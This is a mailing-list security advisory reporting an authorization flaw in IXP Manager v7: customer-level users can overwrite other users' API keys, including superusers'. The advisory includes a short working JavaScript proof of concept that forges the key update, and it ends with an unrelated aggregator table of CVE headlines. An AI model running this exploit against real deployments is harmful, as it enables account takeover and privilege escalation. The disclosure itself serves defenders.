Posted by Bakabaka_9 on Aug 14Hi,
In IXP Manager (tested on v7), an authenticated user with at least
AUTH_CUSTUSER privileges can update or delete arbitrary API key records by
directly addressing their numeric api_keys.id.
The update path mass-assigns request data into the ApiKey model, and the
model permits the apiKey attribute itself to be mass-assigned. As a result,
a low-privileged customer can overwrite another user's API key (including a
superuser's) with an...
oss-sec
mailing list archives
IXP Manager: Authenticated IDOR / BOLA + Mass Assignment in API Key Update Allows Overwrite of Other Users’ API Keys (incl. Superuser)
Hi,
In IXP Manager (tested on v7), an authenticated user with at least
AUTH_CUSTUSER privileges can update or delete arbitrary API key records by
directly addressing their numeric api_keys.id.
The update path mass-assigns request data into the ApiKey model, and the
model permits the apiKey attribute itself to be mass-assigned. As a result,
a low-privileged customer can overwrite another user's API key (including a
superuser's) with an attacker-controlled value, and subsequently
authenticate as that user via the API.
The list endpoint correctly scopes results to the current user:
// app/Http/Controllers/ApiKeyController.php:159-167
return ApiKey::where( 'user_id', Auth::id() )
However, the update/delete paths do not enforce ownership.
*Conditions required for exploitation:*
1. Valid authenticated account with at least AUTH_CUSTUSER
2. Ability to obtain a normal CSRF token for the session
3. Existence of a victim API key row
4. Knowledge (or enumeration) of the numeric api_keys.id
5. For superuser escalation, the target key must belong to a superuser
6. Victim user and default customer must not be disabled
*Simple PoC (run in browser console while logged in as a customer):*
const victimKeyId = 1; // target api_keys.id const newKey =
"poc-admin-key-" + Date.now();
const token = document.querySelector('meta[name="csrf-token"]')?.content ||
document.querySelector('input[name="_token"]')?.value;
await fetch(`/api-key/update/${victimKeyId}`, { method: "POST",
credentials: "include", headers: { "Content-Type":
"application/x-www-form-urlencoded" }, body: new URLSearchParams({ _token:
token, _method: "PUT", apiKey: newKey, description: "overwritten by
customer PoC", expires: "2030-01-01" }) });
console.log(newKey);
After a successful request the new key can be used for API authentication
as the victim.
*Suggested mitigation:*
- Update to latest IXP-Manager version
| # | Наименование новости | Тональность | Информативность | Дата публикации |
|---|---|---|---|---|
| 1 | Подскажите у кого есть. api ключ на kodik или аллоху | 0 | 0 | 20-10-2025 |
| 2 | security/vuxml - 1.1_6 | 0 | 8.1 | 15-08-2026 |
| 3 | Aceex Strengthens Privacy Expertise with IAPP CIPP/E Certification | 0 | 5.24 | 07-08-2026 |
| 4 | CVE-2026-15689: Dancer2::Plugin::Auth::Extensible versions through 0.713 for Perl allow password reset link poisoning via the request Host header in _default_email_password_reset and _default_welcome_send | 0 | 9.5 | 15-08-2026 |
| 5 | Портал API России как единая экосистема для развития API-экономики | 0 | 15.02 | 25-02-2026 |
| 6 | CVE-2026-73194: DBI versions before 1.652 for Perl allow a heap out-of-bounds write via an unvalidated numeric placeholder that sets the binder counter in preparse | 0 | 9.69 | 15-08-2026 |
| 7 | net-im/py-zapzap - 7.4.1 | 0 | 29.82 | 15-08-2026 |
| 8 | ports-mgmt/hs-panopticum - 2.0.3.0 | 0 | 56.33 | 15-08-2026 |
| 9 | (DPIC5) PM Viewer | 0 | 14.24 | 08-08-2026 |